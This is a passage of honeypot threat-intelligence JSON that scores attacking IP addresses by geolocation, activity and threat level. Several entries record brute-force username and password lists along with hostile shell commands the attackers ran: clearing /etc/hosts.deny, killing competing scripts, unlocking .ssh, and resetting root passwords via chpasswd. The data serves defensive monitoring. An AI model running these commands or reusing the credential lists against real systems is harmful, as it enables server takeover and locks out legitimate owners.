      "city": "Itabuna",
      "asn": 268185,
      "as_org": "J. C. COMERCIO E SERVICOS DE PROVEDOR DE INTERNET",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:34:02.262000+00:00",
        "last_seen_30d": "2026-05-07T15:35:18.659000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.101.138.200": {
      "attack_count": 2,
      "first_seen": "2026-05-08T23:18:15.890Z",
      "last_seen": "2026-05-08T23:19:15.592Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T23:18:15.890000+00:00",
        "last_seen_30d": "2026-05-09T18:20:42.598000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.37.217.197": {
      "attack_count": 2,
      "first_seen": "2026-05-18T18:41:33.524Z",
      "last_seen": "2026-05-18T18:41:47.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 28885,
      "as_org": "Oman Telecommunications Company (S.A.O.G)",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T18:41:33.524000+00:00",
        "last_seen_30d": "2026-05-18T18:42:53.090000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "74.118.61.33": {
      "attack_count": 2,
      "first_seen": "2026-05-09T22:45:14.899Z",
      "last_seen": "2026-05-09T22:45:27.423Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "M\u00e9rida",
      "asn": 272814,
      "as_org": "TOVARSAT C.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:45:14.899000+00:00",
        "last_seen_30d": "2026-05-09T22:46:35.388000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.82.137": {
      "attack_count": 2,
      "first_seen": "2026-05-09T07:49:43.257Z",
      "last_seen": "2026-05-09T07:50:14.066Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:49:43.257000+00:00",
        "last_seen_30d": "2026-05-09T07:51:17.589000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.195.132.250": {
      "attack_count": 2,
      "first_seen": "2026-05-03T17:39:30.774Z",
      "last_seen": "2026-05-03T17:39:42.988Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:39:30.774000+00:00",
        "last_seen_30d": "2026-05-03T17:40:50.648000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.227.221.36": {
      "attack_count": 2,
      "first_seen": "2026-05-12T22:04:22.822Z",
      "last_seen": "2026-05-12T22:06:22.854Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Maidstone",
      "asn": 62217,
      "as_org": "Vinters IT Ltd",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:04:22.822000+00:00",
        "last_seen_30d": "2026-05-12T22:17:15.983000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "92.253.212.241": {
      "attack_count": 2,
      "first_seen": "2026-05-18T15:14:03.545Z",
      "last_seen": "2026-05-18T15:14:16.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Lviv",
      "asn": 59577,
      "as_org": "LinkCom Networks LLC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T15:14:03.545000+00:00",
        "last_seen_30d": "2026-05-18T15:16:05.713000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.139.153": {
      "attack_count": 1760,
      "first_seen": "2026-05-07T04:41:41.182Z",
      "last_seen": "2026-05-07T05:35:21.591Z",
      "sessions": 352,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "admin",
        "kafka",
        "steam",
        "aaa",
        "ali",
        "demo",
        "ftptest",
        "hadoop",
        "odoo",
        "student",
        "test",
        "a",
        "andrew",
        "anna",
        "app",
        "bob",
        "claude"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "12345678",
        "1",
        "12345",
        "P@ssw0rd",
        "p@ssw0rd",
        "password",
        "1qaz@WSX",
        "0000",
        "123root",
        "admin123",
        "airflow",
        "aman",
        "claude",
        "debian",
        "localhost",
        "marketing",
        "milad"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 2612,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T04:41:41.182000+00:00",
        "last_seen_30d": "2026-05-07T05:36:25.776000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1760,
        "Suricata": 852
      }
    },
    "34.93.128.179": {
      "attack_count": 1219,
      "first_seen": "2026-05-06T03:16:05.261Z",
      "last_seen": "2026-05-29T07:58:59.506Z",
      "sessions": 115,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "chiji",
        "hotline",
        "mcuser",
        "mysql",
        "netadmin",
        "pham",
        "user",
        "volcengine",
        "aroot",
        "cho",
        "csgo",
        "csserver",
        "developer",
        "dmit",
        "dovecot",
        "esbuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "111",
        "1234",
        "12345",
        "test",
        "test1234",
        "108108108",
        "1234567!@#$%^&",
        "123456789",
        "123456789@Ab",
        "1qaz2wsx3edc",
        "1qaz@2wsx",
        "1qaz@wsx",
        "1qazxsw2",
        "963963",
        "Aa134679",
        "Aa@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nOAAX16Xtkd81\\nOAAX16Xtkd81\\n\"|passwd",
        "echo \"123456\\nfvhAYg2xSAUz\\nfvhAYg2xSAUz\\n\"|passwd",
        "echo \"hotline\\nVsWDslBg9eey\\nVsWDslBg9eey\\n\"|passwd",
        "echo \"mcuser\\nJnXLknyEjeTq\\nJnXLknyEjeTq\\n\"|passwd",
        "echo \"netadmin\\nxcRlpkzIs20D\\nxcRlpkzIs20D\\n\"|passwd",
        "echo \"password\\nYM8TSNnXKgOt\\nYM8TSNnXKgOt\\n\"|passwd",
        "echo \"root:04JSwoGTGbXU\"|chpasswd|bash",
        "echo \"root:aqcQd4CG2yff\"|chpasswd|bash",
        "echo \"root:au4KYSEyYw7e\"|chpasswd|bash",
        "echo \"root:m6nYVhZJynQh\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 57.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1477,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:16:05.261000+00:00",
        "last_seen_30d": "2026-05-29T08:00:03.874000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1219,
        "Suricata": 258
      }
    },
    "222.110.147.56": {
      "attack_count": 963,
      "first_seen": "2026-05-04T00:04:16.950Z",
      "last_seen": "2026-05-16T15:02:43.882Z",
      "sessions": 109,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ayjtnzjc",
        "admin",
        "alireza",
        "frappe",
        "hadoop",
        "insserver",
        "testuser",
        "ark",
        "bitrix",
        "datauser",
        "ftptest",
        "lsfadmin",
        "myadmin",
        "otrs",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "admin",
        "yzOeGur5kZbZ",
        "!Password",
        "10203040",
        "123132123",
        "12345",
        "123456789",
        "123456Qq!",
        "123qweasdzxc",
        "1900",
        "20192019",
        "2035",
        "2069",
        "50p0rt3",
        "888",
        "ADMIN",
        "Abc112233"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"alireza\\nrzgFZZqCLqaW\\nrzgFZZqCLqaW\\n\"|passwd",
        "echo \"root:4kQURrXDfstI\"|chpasswd|bash",
        "echo \"root:MUF1yTWUd7aX\"|chpasswd|bash",
        "echo \"root:fP7HrWuVeJiL\"|chpasswd|bash",
        "echo \"testuser123\\nDZgCbmRAkjt6\\nDZgCbmRAkjt6\\n\"|passwd",
        "echo \"yzOeGur5kZbZ\\n9R33EYaFdtfI\\n9R33EYaFdtfI\\n\"|passwd",
        "echo \"yzOeGur5kZbZ\\nr8TLSTs02Zir\\nr8TLSTs02Zir\\n\"|passwd",
        "echo -e \"alireza\\nrzgFZZqCLqaW\\nrzgFZZqCLqaW\"|passwd|bash",
        "echo -e \"testuser123\\nDZgCbmRAkjt6\\nDZgCbmRAkjt6\"|passwd|bash",
        "echo -e \"yzOeGur5kZbZ\\n9R33EYaFdtfI\\n9R33EYaFdtfI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Eunpyeong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 1219,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:04:16.950000+00:00",
        "last_seen_30d": "2026-05-16T15:03:45.995000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 963,
        "Suricata": 256
      }
    },
    "202.29.225.206": {
      "attack_count": 552,
      "first_seen": "2026-05-15T04:21:35.427Z",
      "last_seen": "2026-05-15T12:26:53.308Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dbus-helper",
        "udev-monitor",
        "...",
        "linux",
        "pakchoi",
        "systemd-sync",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "123zxc",
        "21vianet",
        "314159",
        "Elephant123",
        "Kermit123@",
        "aapje123",
        "admin2010",
        "azsxdc",
        "blue",
        "huy",
        "imaging",
        "infern0",
        "jeremy",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "n4g10s",
        "running1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:8zloN4Pl0hqK\"|chpasswd|bash",
        "echo \"root:E3TGPm1DDzZA\"|chpasswd|bash",
        "echo \"root:OLwDuLGgg40E\"|chpasswd|bash",
        "echo \"root:eJTevRdLvRII\"|chpasswd|bash",
        "echo \"warnight\\nS2wbNDB7CGMf\\nS2wbNDB7CGMf\\n\"|passwd",
        "echo \"warnight\\nn0K1sOEByStD\\nn0K1sOEByStD\\n\"|passwd",
        "echo -e \"warnight\\nS2wbNDB7CGMf\\nS2wbNDB7CGMf\"|passwd|bash",
        "echo -e \"warnight\\nn0K1sOEByStD\\nn0K1sOEByStD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 4621,
      "as_org": "Chulalongkorn University",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 641,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:21:35.427000+00:00",
        "last_seen_30d": "2026-05-15T12:27:57.979000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 552,
        "Suricata": 89
      }
    },
    "107.189.27.179": {
      "attack_count": 551,
      "first_seen": "2026-05-03T01:49:35.252Z",
      "last_seen": "2026-05-23T17:11:22.825Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "deploy",
        "345gs5662d34",
        "guest",
        "info",
        "testing",
        "ali",
        "appuser",
        "aroot",
        "centos",
        "deployer",
        "doadmin",
        "git",
        "itadmin",
        "min",
        "netadmin",
        "oracle",
        "postgres"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "147258",
        "P@ssw0rd",
        "#Salutar1",
        "123",
        "1234567890",
        "1234567u",
        "123456Ab",
        "123qwe",
        "12QWaszx",
        "1qa2ws3ed",
        "1qaz@WSX3edc",
        "321",
        "Admin123@",
        "Gj123456",
        "Huawei_123",
        "Ir123456@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qaz@WSX3edc\\n28Krd7hZ2c9d\\n28Krd7hZ2c9d\\n\"|passwd",
        "echo \"root:pOXz60woRqdj\"|chpasswd|bash",
        "echo \"test\\nK3Opqs6ihNUI\\nK3Opqs6ihNUI\\n\"|passwd",
        "echo -e \"1qaz@WSX3edc\\n28Krd7hZ2c9d\\n28Krd7hZ2c9d\"|passwd|bash",
        "echo -e \"test\\nK3Opqs6ihNUI\\nK3Opqs6ihNUI\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Zaandam",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.6,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 718,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:49:35.252000+00:00",
        "last_seen_30d": "2026-05-23T17:12:31.928000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 551,
        "Suricata": 167
      }
    },
    "42.100.59.54": {
      "attack_count": 480,
      "first_seen": "2026-05-21T06:38:04.539Z",
      "last_seen": "2026-05-22T09:47:02.362Z",
      "sessions": 240,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 745,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:38:04.539000+00:00",
        "last_seen_30d": "2026-05-22T09:48:03.916000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 480,
        "Suricata": 265
      }
    },
    "171.231.178.165": {
      "attack_count": 397,
      "first_seen": "2026-05-05T13:33:16.419Z",
      "last_seen": "2026-05-05T14:10:35.222Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "developer",
        "monitor",
        "user",
        "*****",
        "1234",
        "admian",
        "auto",
        "belkinstyle",
        "bin",
        "cf1c22",
        "cisco",
        "config",
        "cpanel",
        "db2inst2",
        "demo",
        "ftp",
        "ftpuser",
        "guest1"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "123456",
        "*****",
        "0987654321",
        "111111",
        "112233",
        "12345",
        "72b1bd75ac87852a",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin1",
        "admin123",
        "aerohive",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 568,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T13:33:16.419000+00:00",
        "last_seen_30d": "2026-05-05T14:11:40.396000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 397,
        "Suricata": 171
      }
    },
    "198.154.207.145": {
      "attack_count": 302,
      "first_seen": "2026-05-16T05:51:43.884Z",
      "last_seen": "2026-05-23T16:12:52.704Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "aroot",
        "butter",
        "minecraft",
        "pzuser",
        "ranger",
        "teamspeak",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123...com",
        "12345",
        "123456",
        "12345678",
        "1950",
        "1qa2ws#ED",
        "1qaz2wsx#EDC",
        "20192019",
        "2welcome",
        "administrator1234567890",
        "altec",
        "anju",
        "aroot",
        "austin",
        "baikal",
        "compaqpresario",
        "deployerpass",
        "gitpassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nen4P9VYD5IOD\\nen4P9VYD5IOD\\n\"|passwd",
        "echo \"root:vdWKO6sXGrmn\"|chpasswd|bash",
        "echo -e \"12345678\\nen4P9VYD5IOD\\nen4P9VYD5IOD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 388,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T05:51:43.884000+00:00",
        "last_seen_30d": "2026-05-23T16:13:58.471000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 302,
        "Suricata": 86
      }
    },
    "194.163.169.77": {
      "attack_count": 254,
      "first_seen": "2026-05-02T01:49:04.168Z",
      "last_seen": "2026-05-02T01:56:19.306Z",
      "sessions": 127,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 382,
        "days_active_30d": 1,
